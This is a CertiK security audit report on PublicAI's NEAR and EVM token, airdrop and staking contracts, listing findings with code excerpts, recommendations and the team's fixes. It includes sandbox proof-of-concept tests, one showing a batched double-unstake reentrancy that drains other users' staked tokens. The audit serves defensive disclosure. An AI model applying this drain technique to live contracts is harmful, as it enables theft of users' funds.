PublicAI

Security Assessment

CertiK Assessed on Aug 12th, 2025

CertiK Assessed on Aug 12th, 2025

PublicAI

The security assessment was prepared by CertiK, the leader in Web3.0 security.

Executive Summary

TYPES
Token, Vesting

ECOSYSTEM
EVM Compatible | NEAR (NEAR)

METHODS
Formal Verification, Manual Review, Static Analysis

LANGUAGE
Rust, Solidity

TIMELINE
Delivered on 08/12/2025

KEY COMPONENTS
N/A

CODEBASE
token-pre(012510c)
airdrop-pre(62b5a57)
staking-pre(9baa55b)
View All in Codebase Page

COMMITS
012510cd4ffd29e960f2113cd4c777d12fb1f20b
62b5a5721d04957020d58a07585428cf834b4d91
9baa55b0e003ac433fcd8aed8535aa78fe8464b7
View All in Codebase Page

Highlighted Centralization Risks

- Privileged role can remove users' tokens
- Contract upgradeability
- Initial owner token share is 100%

Vulnerability Summary

25	16	1	8	0
Total Findings	Resolved	Partially Resolved	Acknowledged	Declined

2 Centralization	2 Acknowledged		Centralization findings highlight privileged roles & functions and their capabilities, or instances where the project takes custody of users' assets.
2 Critical	2 Resolved		Critical risks are those that impact the safe functioning of a platform and must be addressed before launch. Users should not invest in any project with outstanding critical risks.
5 Major	4 Resolved, 1 Acknowledged		Major risks may include logical errors that, under specific circumstances, could result in fund losses or loss of project control.
3 Medium	2 Resolved, 1 Acknowledged		Medium risks may not pose a direct risk to users' funds, but they can affect the overall functioning of a platform.

7	Minor	3 Resolved, 1 Partially Resolved, 3 Acknowledged	Minor risks can be any of the above, but on a smaller scale. They generally do not compromise the overall integrity of the project, but they may be less efficient than other solutions.
6	Informational	5 Resolved, 1 Acknowledged	Informational errors are often recommendations to improve the style of the code or certain operations to fall within industry best practices. They usually do not affect the overall functioning of the code.

TABLE OF CONTENTS | PUBLICAI

CODEBASE | PUBLICAI

Repository

token-pre(012510c)
airdrop-pre(62b5a57)
staking-pre(9baa55b)
EVMstaking-pre(9d1ad99)
staking-v2(8cfbbe6)
EVMstaking-v2(3b92b5d)
staking-v3(45efa39)
staking-v4(733dce3)
EVMstaking-v4(144edc)
airdrop-v4(217632)

Commit

012510cd4ffd29e960f2113cd4c777d12fb1f20b 62b5a5721d04957020d58a07585428cf834b4d91
9baa55b0e003ac433fcd8aed8535aa78fe8464b7 9d1ad998f2d6aeec1a001774d29abf6befb9dfc8
8cfbbe60787e18aea2f29d9c3cb37c3e88401d23 3b92b5daa701888ea8e6c22dd7fa693a1732a89e
45efa392b4b02e318449d185a36af500c997b7d0 733dce3fc3189fc809bb443bafb9f24f51d34814
144edc313444965e06da58d774fa6e183c58351a 2176323635eb54d527f9a93e0ec68984063724fc

AUDIT SCOPE | PUBLICAI

4 files audited ● 3 files with Acknowledged findings ● 1 file with Resolved findings

ID	Repo	File	SHA256 Checksum
● PAI	PublicAI01/publicai-token	src/lib.rs	6b68160d37548d8b742529254ffe02b2661746b3998bf9faeb89f882896da7ee
● LIB	PublicAI01/publicai-airdrop	src/lib.rs	e359556acfb5ffbd0bb5dac1ee3e80f185276ef05347943ee4294cfb2eadc149
● LIS	PublicAI01/publicai-staking	src/lib.rs	19c4f830139ec0c1e0cb7a298a167dff4f2e1d17ef1a232cacad9ddd502239ab
● SPA	PublicAI01/publicai-staking-evm	contracts/Staking.sol	36c2c6bf729294d481602e18005fa3f559ad91444ab51ea5a2329dd39e9832e5

APPROACH & METHODS | PUBLICAI

This report has been prepared for PublicAI to discover issues and vulnerabilities in the source code of the PublicAI project as well as any contract dependencies that were not part of an officially recognized library. A comprehensive examination has been performed, utilizing Static Analysis and Manual Review techniques.

The auditing process pays special attention to the following considerations:

- Testing the smart contracts against both common and uncommon attack vectors.
- Assessing the codebase to ensure compliance with current best practices and industry standards.
- Ensuring contract logic meets the specifications and intentions of the client.
- Cross referencing contract structure and implementation against similar smart contracts produced by industry leaders.
- Thorough line-by-line manual review of the entire codebase by industry experts.

The security assessment resulted in findings that ranged from critical to informational. We recommend addressing these findings to ensure a high level of security standards and industry practices. We suggest recommendations that could better serve the project from the security perspective:

- Testing the smart contracts against both common and uncommon attack vectors;
- Enhance general coding practices for better structures of source codes;
- Add enough unit tests to cover the possible use cases;
- Provide more comments per each function for readability, especially contracts that are verified in public;
- Provide more transparency on privileged activities once the protocol is live.

REVIEW NOTES | PUBLICAI

External Dependencies

The project mainly contains the following dependencies:

Dependency	Version
near-sdk	5.14
near-contract-standards	5.15.1
hex	0.4.3
borsh	1.5.7
borsh	0.10.3
serde	1.0.219
serde_json	1.0

It should also be noted here that the code dependencies are in active development in the current auditing version and some of the keywords/functionality may be deprecated in a newer version. It is necessary to keep the dependencies up-to-date to avoid potential vulnerabilities.

We assume these dependencies are valid and non-vulnerable factors and implement proper logic to collaborate with the current project.

FINDINGS | PUBLICAI

25	2	2	5	3	7	6
Total Findings	Critical	Centralization	Major	Medium	Minor	Informational

This report has been prepared to discover issues and vulnerabilities for PublicAI. Through this audit, we have uncovered 25 issues ranging from different severity levels. Utilizing the techniques of Static Analysis & Manual Review to complement rigorous manual code reviews, we discovered the following findings:

ID	Title	Category	Severity	Status
PUB-06	Improper Account Usage In `ft_transfer()` Function Causes Asset Withdrawal To Be Blocked	Coding Issue	Critical	Resolved
PUB-21	Reentrancy Vulnerability In `StakingContract` Enables Assets Drain Of Staking Pool	Coding Issue	Critical	Resolved
PUB-03	**Centralization Related Risks And Upgradability**	**Centralization**	**Centralization**	**Acknowledged**
PUB-04	**Initial Token Distribution**	**Centralization**	**Centralization**	**Acknowledged**
PUB-07	Missing Contract State Revert On Cross-Contract Call Failure Causes Unexpected Result	Coding Issue	Major	Resolved
PUB-08	Unrestricted Owner Withdraw In EVM Staking Contract And Lack Of Withdraw Function In Near Contract	Logical Issue	Major	Resolved
PUB-15	NEP-141 Parameter Mismatch Prevents Staking Functionality	Logical Issue	Major	Resolved
PUB-24	Incorrect `self.total_claimed_reward` Update In `on_ft_transfer_then_remove()` Allows Block Reward Distribution	Logical Issue	Major	Resolved

ID	Title	Category	Severity	Status
PUB-25	TotalReward Should Be Backed By Funding	Logical Issue	Major	Acknowledged
PUB-09	Missing Code Logic To Avoid Withdrawing Other Users' Staked Assets	Design Issue	Medium	Resolved
PUB-10	Airdrop Contract Reusability Design Flaw	Design Issue	Medium	Acknowledged
PUB-22	Potential Assets Loss Caused By Abnormal Batched Transaction	Coding Issue	Medium	Resolved
PUB-02	Unclear FT Storage Deposit Of `AirdropContract` And `StakingContract` Accounts	Design Issue	Minor	Acknowledged
PUB-05	Unchecked ERC-20 `transfer()` / `transferFrom()` Call	Volatile Code	Minor	Resolved
PUB-12	Missing Full Access Key Validation For Sensitive Methods	Logical Issue	Minor	Partially Resolved
PUB-16	Usage Of `unwrap()` In Production Codebase	Coding Style	Minor	Acknowledged
PUB-19	Potential Loss Of Staking Rewards Due To Reward Pool Is Exhausted	staking-v2(8cfbbe6)	Minor	Acknowledged
PUB-20	Missing `stake_paused` Status When Owner Withdraws Token	Logical Issue	Minor	Resolved
PUB-26	No Reasonable Limit On Lock Duration	Logical Issue	Minor	Resolved
PUB-14	Usage Of Magic Numbers	Coding Style	Informational	Resolved
PUB-17	Use Of Delimiter In Merkle Leaf Construction	Volatile Code	Informational	Resolved
PUB-18	Unlocked Compiler Version	Coding Issue	Informational	Resolved

ID	Title	Category	Severity	Status
PUB-27	Comparison To Boolean Constant	Coding Style	Informational	Resolved
PUB-28	Unnecessary State Update In Staking	Logical Issue	Informational	Resolved
PUB-29	Discussion On `no-op` Migration	Design Issue	Informational	Acknowledged

PUB-06 IMPROPER ACCOUNT USAGE IN `ft_transfer()` FUNCTION CAUSES ASSET WITHDRAWAL TO BE BLOCKED

Category	Severity	Location	Status
Coding Issue	Critical	src/lib.rs (staking-pre(9baa55b)): 66	Resolved

Description

The following code block is designed to access FT contract and transfer assets from `StakingContract` to users. The current code flaw is that the Cross-Contract function call is activated on the user's account, not the FT contract account. In this case, `ft_transfer()` cross-contract function call would fail because user's account doesn't have `ft_transfer()` function. As a result, users would lose their principal and rewards which is the same result described in **Missing Contract State Revert on Cross-Contract Call Failure Causes Asset Withdrawal Block** would appear.

publicai-staking/src/lib.rs

```
65          // Transfer principal and rewards to the user
66  @>      near_sdk::Promise::new(account_id.clone()).function_call(
67              "ft_transfer".to_string(),
68              near_sdk::serde_json::json!({
69                  "receiver_id": account_id,
70                  "amount": total_payout.to_string(),
71              })
72              .to_string()
73              .into_bytes(),
74              NearToken::from_yoctonear(1), // Attach 1 yoctoNEAR
75              env::prepaid_gas().saturating_div(2),
76          );
```

Proof of Concept

For reproducibility:

1. Fix line 115 of `publicai-staking/src/lib.rs` :: fix `_msg: String` into: `msg: String`
2. Copy paste this test inside a file `vulnerability_sim.rs` inside the folder `publicai-staking/tests`

```rust
use near_workspaces::{sandbox, compile_project, types::NearToken, Account,
Contract};
use near_sdk::json_types::U128;
use serde_json::json;
use anyhow::Result;

/// Integration test that deploys the real staking & token contracts and shows that
/// unstake() creates a failing cross-contract call (ft_transfer on the user
account).
#[tokio::test]
async fn test_unstake_cross_contract_failure() -> Result<()> {
    // 1. Spin up a local sandbox network
    let worker = sandbox().await?;

    // 2. Compile the token and staking contracts to WASM
    let token_wasm = compile_project("../publicai-token").await?;
    let staking_wasm = compile_project(".").await?; // current crate

    // 3. Deploy the token contract
    let token_contract: Contract = worker.dev_deploy(&token_wasm).await?;

    // Initialize token contract
    let root_account = worker.root_account()?;
    let metadata = json!({
        "spec": "ft-1.0.0",
        "name": "Test Token",
        "symbol": "TT",
        "decimals": 18,
        "icon": null,
        "reference": null,
        "reference_hash": null
    });

    let _ = root_account
        .call(token_contract.id(), "new")
        .args_json(json!({
            "owner_id": root_account.id(),
            "total_supply": U128(1_000_000_000u128),
            "metadata": metadata
        }))
        .max_gas()
        .transact()
        .await?
        .into_result()?;  // Unwrap to catch init failure

    // 4. Deploy the staking contract
    let staking_contract: Contract = worker.dev_deploy(&staking_wasm).await?;

    let _ = root_account
```

```
        .call(staking_contract.id(), "new")
        .args_json((root_account.id(), token_contract.id()))
        .transact()
        .await?
        .into_result()?;  // Unwrap to catch init failure

    // 5. Create a user account and mint them some tokens
    let alice: Account = worker.dev_create_account().await?;

    // Register alice for storage
    let _ = root_account
        .call(token_contract.id(), "storage_deposit")
        .args_json(json!({ "account_id": alice.id(), "registration_only": null }))
        .deposit(NearToken::from_yoctonear(1_250_000_000_000_000_000_000_000u128))
        .transact()
        .await?
        .into_result()?;  // Unwrap to catch failure

    // Register staking_contract for storage (must be before ft_transfer_call)
    let _ = root_account
        .call(token_contract.id(), "storage_deposit")
        .args_json(json!({ "account_id": staking_contract.id(), "registration_only":
null }))
        .deposit(NearToken::from_yoctonear(1_250_000_000_000_000_000_000_000u128))
        .transact()
        .await?
        .into_result()?;  // Unwrap to catch failure

    // Transfer tokens to alice
    let _ = root_account
        .call(token_contract.id(), "ft_transfer")
        .args_json(json!({
            "receiver_id": alice.id(),
            "amount": U128(1_000_000u128),
            "memo": null
        }))
        .deposit(NearToken::from_yoctonear(1))
        .max_gas()
        .transact()
        .await?
        .into_result()?;  // Unwrap to catch failure

    // 6. Alice stakes her tokens via ft_transfer_call
    let exec = alice
        .call(token_contract.id(), "ft_transfer_call")
        .args_json(json!({
            "receiver_id": staking_contract.id(),
            "amount": U128(1_000_000u128),
            "memo": null,
```

```
            "msg": ""
        }))
        .deposit(NearToken::from_yoctonear(1))
        .max_gas()
        .transact()
        .await?;

    println!("ft_transfer_call is_success: {:?}", exec.is_success());
    exec.clone().into_result()?;  // Unwrap to catch failure

    // Wait for cross-contract calls to complete by advancing the sandbox
    // NEAR cross-contract calls are asynchronous and take multiple blocks
    worker.fast_forward(10).await?;

    // Check Alice's balance after ft_transfer_call and cross-contract completion
    let alice_balance_after: U128 = alice
        .view(token_contract.id(), "ft_balance_of")
        .args_json(json!({ "account_id": alice.id() }))
        .await?
        .json()?;
    println!("Alice's balance after ft_transfer_call: {}", alice_balance_after.0);

    // Check staking contract balance after ft_transfer_call and cross-contract
completion
    let staking_balance_after: U128 = alice
        .view(token_contract.id(), "ft_balance_of")
        .args_json(json!({ "account_id": staking_contract.id() }))
        .await?
        .json()?;
    println!("Staking contract balance after ft_transfer_call: {}",
staking_balance_after.0);

    // 6b. Confirm stake exists
    let stake_info: serde_json::Value = alice
        .view(staking_contract.id(), "get_stake_info")
        .args_json(json!({ "account_id": alice.id() }))
        .await?
        .json()?;
    println!("Stake info after cross-contract completion: {:?}", stake_info);
    assert!(stake_info != serde_json::Value::Null, "Stake not created");

    // 7. Alice calls unstake()
    let unstake_exec = alice
        .call(staking_contract.id(), "unstake")
        .deposit(NearToken::from_yoctonear(1))
        .max_gas()
        .transact()
        .await?;
```

```
    println!("unstake is_success: {:?}", unstake_exec.is_success());
    unstake_exec.clone().into_result()?;  // Unwrap if needed, but since it
"succeeds" we continue

    // Wait for the unstake cross-contract call to complete
    worker.fast_forward(10).await?;

    // 8. Verify alice did NOT receive her tokens back (promise failed)
    let balance: U128 = alice
        .view(token_contract.id(), "ft_balance_of")
        .args_json(json!({ "account_id": alice.id() }))
        .await?
        .json()?;
    assert_eq!(balance.0, 0, "Alice should still have 0 tokens because the transfer
failed");

    // Verify that the stake was removed despite the transfer failure
    let stake_info_after: serde_json::Value = alice
        .view(staking_contract.id(), "get_stake_info")
        .args_json(json!({ "account_id": alice.id() }))
        .await?
        .json()?;
    assert_eq!(stake_info_after, serde_json::Value::Null, "Stake should be removed
after unstake despite transfer failure");

    // Verify that the tokens are still held by the staking contract
    let staking_balance: U128 = alice
        .view(token_contract.id(), "ft_balance_of")
        .args_json(json!({ "account_id": staking_contract.id() }))
        .await?
        .json()?;
    assert_eq!(staking_balance.0, 1_000_000u128, "Staking contract should still hold
the tokens since transfer failed");

    Ok(())
}
```

Recommendation

Recommend refactoring the code to ensure the correct account is used in the cross-contract function call. One potential solution is to invoke the `ft_transfer()` function of `self.token_contract` to withdraw both the principal and rewards for the user.

Alleviation

[PublicAI, 08/04/2025]: The team heeded the advice and resolved the issue by correcting the account ID used to invoke the `ft_transfer()` function in commit 8cfbbe60787e18aea2f29d9c3cb37c3e88401d23.

PUB-21 REENTRANCY VULNERABILITY IN `StakingContract` ENABLES ASSETS DRAIN OF STAKING POOL

Category	Severity	Location	Status
Coding Issue	Critical	src/lib.rs (EVMstaking-v2(3b92b5d)): 52~53; src/lib.rs (staking-v2(8cfbbe6)): 110~111	Resolved

Description

The `unstake()` function is intended to allow users to withdraw their principal and rewards. However, a critical flaw exists: the user's staking record is not removed before the asynchronous cross-contract call to `ft_transfer()`. This oversight enables an attacker to potentially drain the staking pool's principal and reward assets.

```
109     /// Unstake all principal and rewards
110     #[payable]
111     pub fn unstake(&mut self) -> Promise {
112         assert_one_yocto();
113         let account_id = env::predecessor_account_id();
114 @>      let mut stake_info = self
115 @>          .staked_balances
116 @>          .get(&account_id)
117 @>          .expect("No stake found for this account");
118 
119         // Calculate the time difference and accumulated rewards
120         ....
121 
122         // Total payout = principal + accumulated rewards
123 @>      let total_payout = stake_info.amount + stake_info.accumulated_reward;
124 
125         // Transfer principal and rewards to the user
126         Promise::new(self.token_contract.clone())
127 @>          .function_call(
128 @>              "ft_transfer".to_string(),
129                 ....
130             )
131             .then(
132                 Self::ext(env::current_account_id())
133                     .with_static_gas(Gas::from_gas(5_000_000_000_000))
134                     .on_ft_transfer_then_remove(
135                         account_id,
136                         stake_info.amount,
137                         stake_info.accumulated_reward,
138                     ),
139             )
140     }
141 
142 
143     /// Callback: After ft_transfer, only then remove staking record.
144     #[private]
145     pub fn on_ft_transfer_then_remove(
146         &mut self,
147         account_id: AccountId,
148         stake_amount: u128,
149         reward_amount: u128,
150         #[callback_result] call_result: Result<(), near_sdk::PromiseError>,
151     ) -> bool {
152         assert!(call_result.is_ok(), "Unstake transfer failed");
153         // Remove staking record
154 @>      self.staked_balances.remove(&account_id);
155 @>      self.total_staked -= stake_amount;
156 @>      self.total_claimed_reward += reward_amount;
157         true
158     }
```

The execution of the `unstake()` function spans across three separate blocks:

1. **B1**: Retrieve the user's staking record and calculate rewards.
2. **B2**: Call the FT contract's `ft_transfer()` to transfer assets.
3. **B3**: Update `StakingContract` state variables, such as `self.total_claimed_reward`.

Because the staking record remains intact in B1, an attacker can submit multiple `unstake()` transactions within this block, repeatedly withdrawing the same `total_payout` amount. Additionally, the `UnorderedMap.remove()` function returns `None` if the key does not exist, preventing any panic when `self.staked_balances.remove(&account_id);` is called multiple times across separate transactions.

In the worst-case scenario, this vulnerability allows an attacker to drain all assets from the `StakingContract`.

Notice: A similar issue also exists in `claim_airdrop()` function of `AirdropContract`

Proof of Concept

The following PoC code shows Alice can withdraw Bob's assets from staking pool.

For reproducibility:

1. Copy paste this test inside a file `vulnerability_sim.rs` inside the folder `publicai-staking/tests`

```rust
use near_workspaces::{sandbox, types::NearToken, Account, Contract};
use near_workspaces::operations::Function;
use near_sdk::json_types::U128;
use serde_json::json;
use anyhow::Result;
use std::fs;
use std::path::Path;
use near_workspaces::types::Gas;

/// Integration test that deploys the real staking & token contracts and shows that
/// unstake() creates a failing cross-contract call (ft_transfer on the user
account).
#[tokio::test]
async fn test_unstake_assets_drain() -> Result<()> {
    // 1. Spin up a local sandbox network
    let worker = sandbox().await?;

    // 2. Load the token and staking contracts from WASM files
    // /Users/zhaowei/Documents/ClientProjects/Rust/PubliAI/publicai-
token/target/near/publicai_token.wasm
    let token_wasm = fs::read(Path::new("../publicai-
token/target/near/publicai_token.wasm"))?;
    let staking_wasm = fs::read(Path::new("./target/near/publicai_staking.wasm"))?;

    // 3. Deploy the token contract
    let token_contract: Contract = worker.dev_deploy(&token_wasm).await?;

    // Initialize token contract
    let root_account = worker.root_account()?;
    let metadata = json!({
        "spec": "ft-1.0.0",
        "name": "Test Token",
        "symbol": "TT",
        "decimals": 18,
        "icon": null,
        "reference": null,
        "reference_hash": null
    });

    let _ = root_account
        .call(token_contract.id(), "new")
        .args_json(json!({
            "owner_id": root_account.id(),
            "total_supply": U128(1_000_000_000u128),
            "metadata": metadata
        }))
        .max_gas()
        .transact()
        .await?
```

```
        .into_result()?;  // Unwrap to catch init failure

    // 4. Deploy the staking contract
    let staking_contract: Contract = worker.dev_deploy(&staking_wasm).await?;

    let _ = root_account
        .call(staking_contract.id(), "new")
        .args_json((root_account.id(), token_contract.id(), U128(1u128)))
        .transact()
        .await?
        .into_result()?;  // Unwrap to catch init failure


    // 5. Create two user accounts and mint them some tokens
    let alice: Account = worker.dev_create_account().await?;
    let bob: Account = worker.dev_create_account().await?;

    // Register alice for storage
    let _ = root_account
        .call(token_contract.id(), "storage_deposit")
        .args_json(json!({ "account_id": alice.id(), "registration_only": null }))
        .deposit(NearToken::from_yoctonear(1_250_000_000_000_000_000_000_000u128))
        .transact()
        .await?
        .into_result()?;  // Unwrap to catch failure

    // Register bob for storage
    let _ = root_account
        .call(token_contract.id(), "storage_deposit")
        .args_json(json!({ "account_id": bob.id(), "registration_only": null }))
        .deposit(NearToken::from_yoctonear(1_250_000_000_000_000_000_000_000u128))
        .transact()
        .await?
        .into_result()?;  // Unwrap to catch failure

    // Register staking_contract for storage (must be before ft_transfer_call)
    let _ = root_account
        .call(token_contract.id(), "storage_deposit")
        .args_json(json!({ "account_id": staking_contract.id(), "registration_only":
null }))
        .deposit(NearToken::from_yoctonear(1_250_000_000_000_000_000_000_000u128))
        .transact()
        .await?
        .into_result()?;  // Unwrap to catch failure

    // Transfer tokens to alice
    let _ = root_account
        .call(token_contract.id(), "ft_transfer")
        .args_json(json!({
```

```
            "receiver_id": alice.id(),
            "amount": U128(1_000_000u128),
            "memo": null
        }))
        .deposit(NearToken::from_yoctonear(1))
        .max_gas()
        .transact()
        .await?
        .into_result()?;  // Unwrap to catch failure

    // 6. Alice stakes her tokens via ft_transfer_call
    let exec = alice
        .call(token_contract.id(), "ft_transfer_call")
        .args_json(json!({
            "receiver_id": staking_contract.id(),
            "amount": U128(1_000_000u128),
            "memo": null,
            "msg": ""
        }))
        .deposit(NearToken::from_yoctonear(1))
        .max_gas()
        .transact()
        .await?;

    println!("Alice's ft_transfer_call is_success: {:?}", exec.is_success());
    exec.clone().into_result()?;  // Unwrap to catch failure

    // Wait for cross-contract calls to complete by advancing the sandbox
    // NEAR cross-contract calls are asynchronous and take multiple blocks
    worker.fast_forward(10).await?;

    // Transfer tokens to bob
    let _ = root_account
        .call(token_contract.id(), "ft_transfer")
        .args_json(json!({
            "receiver_id": bob.id(),
            "amount": U128(1_000_000u128),
            "memo": null
        }))
        .deposit(NearToken::from_yoctonear(1))
        .max_gas()
        .transact()
        .await?
        .into_result()?;  // Unwrap to catch failure

    // Bob stakes his tokens
    let exec = bob
        .call(token_contract.id(), "ft_transfer_call")
        .args_json(json!({
```

```
            "receiver_id": staking_contract.id(),
            "amount": U128(1_000_000u128),
            "memo": null,
            "msg": ""
        }))
        .deposit(NearToken::from_yoctonear(1))
        .max_gas()
        .transact()
        .await?;

    println!("Bob's ft_transfer_call is_success: {:?}", exec.is_success());
    exec.clone().into_result()?;  // Unwrap to catch failure

    worker.fast_forward(10).await?;

    // Check Alice's balance after ft_transfer_call and cross-contract completion
    let alice_balance_after: U128 = alice
        .view(token_contract.id(), "ft_balance_of")
        .args_json(json!({ "account_id": alice.id() }))
        .await?
        .json()?;
    println!("Alice's balance after ft_transfer_call: {}", alice_balance_after.0);

    let bob_balance_after: U128 = bob
        .view(token_contract.id(), "ft_balance_of")
        .args_json(json!({ "account_id": bob.id() }))
        .await?
        .json()?;
    println!("Bob's balance after ft_transfer_call: {}", bob_balance_after.0);

    // Check staking contract balance after ft_transfer_call and cross-contract
completion
    let staking_balance_after: U128 = alice
        .view(token_contract.id(), "ft_balance_of")
        .args_json(json!({ "account_id": staking_contract.id() }))
        .await?
        .json()?;
    println!("Staking contract balance after ft_transfer_call: {}",
staking_balance_after.0);

    // 6b. Confirm stake exists
    let stake_info: serde_json::Value = alice
        .view(staking_contract.id(), "get_stake_info")
        .args_json(json!({ "account_id": alice.id() }))
        .await?
        .json()?;
    println!("Alice's stake info after cross-contract completion: {:?}",
stake_info);
    assert!(stake_info != serde_json::Value::Null, "Stake not created");
```

```
    let stake_info_bob: serde_json::Value = bob
        .view(staking_contract.id(), "get_stake_info")
        .args_json(json!({ "account_id": bob.id() }))
        .await?
        .json()?;
    println!("Bob's stake info after cross-contract completion: {:?}",
stake_info_bob);
    assert!(stake_info_bob != serde_json::Value::Null, "Stake not created");

    // Alice initiates a batched transaction with two unstake calls
    let unstake_batch_tx = alice
        .batch(staking_contract.id())
        .call(
                Function::new("unstake")
                .deposit(NearToken::from_yoctonear(1))
                .gas(Gas::from_tgas(150))
        )
        .call(
                Function::new("unstake")
                .deposit(NearToken::from_yoctonear(1))
                    .gas(Gas::from_tgas(150))
        )
        .transact()
        .await?;

    println!("Batched unstake transaction success: {:?}",
unstake_batch_tx.is_success());

    // Wait for the unstake cross-contract call to complete
    worker.fast_forward(10).await?;

    // Verify that the tokens are still held by the staking contract
    let alice_balance: U128 = alice
        .view(token_contract.id(), "ft_balance_of")
        .args_json(json!({ "account_id": alice.id() }))
        .await?
        .json()?;
    assert!(alice_balance.0 >= 2_000_000u128, "Alice balance should be greater than
or equal to 2,000,000 after unstake");
    println!("Alice's balance after unstake: {}", alice_balance.0);

    Ok(())
}
```

Recommendation

Recommend refactoring codes to avoid reentrancy vulnerability. One potential solution is

1. removing the user's staking record before calling the `ft_transfer()` function
2. and reverting the removal if the `ft_transfer()` call fails.

Alleviation

[PublicAI, 08/07/2025]: The team heeded the advice and resolved the issue by adding code logic to update state before cross-contract function call and revert state after failed cross-contract function call in commit

1. 45efa392b4b02e318449d185a36af500c997b7d0 for publicai-staking.
2. 34c9c99ea3a958246610783497d53cb1ab7238d5 for publicai-airdrop.

PUB-03 | CENTRALIZATION RELATED RISKS AND UPGRADABILITY

Category	Severity	Location	Status
Centralization	**Centralization**		**Acknowledged**

Description

In the contract `StakingContract`, the role `_owner` has authority over the functions shown as below. Any compromise to the `_owner` account may allow the hacker to take advantage of this authority and do the following:

- `renounceOwnership()`, **maliciously giving ownership**
- `transferOwnership()`, **transfer ownership to invalid address**
- `ownerWithdraw()`, **withdraw staked tokens from the contract**
- `pauseStake()`, **protect users from staking**
- `setStakeEndTime()`, **protect users from getting reward**
- `setTotalReward()`, **set malicious reward value**
- `setLockDuration()`, **set large lock duration to protect users from getting reward**

In the contract `StakingContract`, the role `owner_id` has authority over the functions shown as below. Any compromise to the `owner_id` account may allow the hacker to take advantage of this authority and do the following:

- `withdraw_token()`, **withdraw staked tokens from the contract**
- `pause_stake()`, **protect users from staking**
- `set_stake_end_time()`, **set small value to protect users from getting reward**
- `set_total_reward()`, **set malicious reward value**
- `update_owner()`, **modify the owner to any account owned by himself.**
- `set_lock_duration()`, **set large lock duration to protect users from getting reward**

In the contract `AirdropContract`, the `owner_id` account has authority over the functions shown as below. Any compromise to the `owner_id` account may allow the hacker to take advantage of this authority and do the following:

- `update_merkle_root()`, **modify the merkle root with an invalid one, preventing users from claiming the airdrop**.
- `update_owner()`, **modify the owner to any account owned by himself.**

In the contract `PublicAI Token`, the `owner_id` account has authority over the functions shown as below. Any compromise to the `owner_id` account may allow the hacker to take advantage of this authority and do the following:

- `update_metadata()`, **modify the metadata associated with the token at will**.
- `update_owner()`, **modify the owner to any account owned by himself.**

Additionally, the Near platform allows for the possibility of upgrading its smart contracts, with the default upgrade authority being the entity responsible for deployment. In situations where the smart contract has upgradability features and the

account of the upgrade authority becomes compromised, there is the potential for an unauthorized and malicious update to the smart contract.

Recommendation

The risk describes the current project design and potentially makes iterations to improve in the security operation and level of decentralization, which in most cases cannot be resolved entirely at the present stage. We advise the client to carefully manage the privileged account's private key to avoid any potential risks of being hacked. In general, we strongly recommend centralized privileges or roles in the protocol be improved via a decentralized mechanism or smart-contract-based accounts with enhanced security practices, e.g., multisignature wallets. Indicatively, here are some feasible suggestions that would also mitigate the potential risk at a different level in terms of short-term, long-term and permanent:

Short Term:

Timelock and Multi sign (⅔, ⅗) combination *mitigate* by delaying the sensitive operation and avoiding a single point of key management failure.

- Time-lock with reasonable latency, e.g., 48 hours, for awareness on privileged operations;
  AND
- Assignment of privileged roles to multi-signature wallets to prevent a single point of failure due to the private key compromised;
  AND
- A medium/blog link for sharing the timelock contract and multi-signers addresses information with the public audience.

Long Term:

Timelock and DAO, the combination, *mitigate* by applying decentralization and transparency.

- Time-lock with reasonable latency, e.g., 48 hours, for awareness on privileged operations;
  AND
- Introduction of a DAO/governance/voting module to increase transparency and user involvement.
  AND
- A medium/blog link for sharing the timelock contract, multi-signers addresses, and DAO information with the public audience.

Permanent:

Renouncing the ownership or removing the function can be considered *fully resolved*.

- Renounce the ownership and never claim back the privileged roles.
  OR
- Remove the risky functionality.

Alleviation

[PublicAI, 08/01/2025]: The team acknowledged this issue.

[CertiK, 08/01/2025]: It is suggested to implement the aforementioned methods to avoid centralized failure. Also, CertiK strongly encourages the project team to periodically revisit the private key security management of all addresses related to centralized roles.

PUB-04 | INITIAL TOKEN DISTRIBUTION

Category	Severity	Location	Status
Centralization	**Centralization**	**src/lib.rs (token-pre(012510c)): 46**	**Acknowledged**

Description

All of the `total_supply` tokens are sent to the contract `owner_id` when deploying the contract. This could be a centralization risk as the anonymous `owner_id` can distribute tokens without obtaining the consensus of the community. Any compromise to the `owner_id` account that holds undistributed tokens may allow the attacker to steal and sell tokens on the market, resulting in severe damage to the project.

Recommendation

It's recommended the team be transparent regarding the initial token distribution process. The token distribution plan should be published in a public location that the community can access. The team shall make enough efforts to restrict the access of the private key. A multi-signature (⅔, ⅗) wallet can be used to prevent a single point of failure due to the private key compromise. Additionally, the team can lock up a portion of tokens, release them with a vesting schedule for long-term success, and deanonymize project teams with a third-party KYC provider to create greater accountability.

Alleviation

[PublicAI, 08/01/2025]: The team acknowledged this issue.

[CertiK, 08/01/2025]: It is suggested to implement the aforementioned methods to avoid centralized failure. Also, CertiK strongly encourages the project team to periodically revisit the private key security management of all addresses related to centralized roles.

PUB-07 MISSING CONTRACT STATE REVERT ON CROSS-CONTRACT CALL FAILURE CAUSES UNEXPECTED RESULT

Category	Severity	Location	Status
Coding Issue	Major	src/lib.rs (staking-pre(9baa55b)): 62~63	Resolved

Description

The following code block is intended to remove the user's staking record and return the FT principal and rewards. However, it lacks logic to revert the staking record removal if the asynchronous cross-contract call to `ft_transfer()` fails. As a result, the user would lose their assets in the event of a failed `ft_transfer()` call.

```
46 @>     let mut stake_info = self
47 @>         .staked_balances
48 @>         .get(&account_id)
49 @>         .expect("No stake found for this account");
50
51          ....
52
53          // Remove staking record
54          self.staked_balances.remove(&account_id);
55
56          // Transfer principal and rewards to the user
57          near_sdk::Promise::new(account_id.clone()).function_call(
58              "ft_transfer".to_string(),
59              near_sdk::serde_json::json!({
60                  "receiver_id": account_id,
61                  "amount": total_payout.to_string(),
62              })
63              .to_string()
64              .into_bytes(),
65              NearToken::from_yoctonear(1), // Attach 1 yoctoNEAR
66              env::prepaid_gas().saturating_div(2),
67          );
```

Due to NEAR's cross-contract call mechanism, the staking record removal and FT asset transfer are executed asynchronously and finalized in separate blocks (e.g., B1 and B2). If `self.staked_balances.remove(&account_id);` succeeds in B1 but the FT transfer fails in B2, the user's staking record will be removed on-chain without receiving their FT assets.

As a result, the user will be unable to withdraw their principal and rewards after the above scenario, as the missing staking record will cause the unstake transaction to revert.

Additionally, a similar issue also exists in `claim_airdrop()` function of `AirdropContract`. The users would be blocked to claim FT assets if the cross-contract function call, `storage_deposit()` or `ft_transfer()`, is failed.

publicai-airdrop/src/lib.rs

```
50        // Ensure the user has not already claimed
51  @>    assert!(
52  @>        !self.claimed.contains(&account_id),
53  @>        "You have already claimed your airdrop."
54  @>    );
55
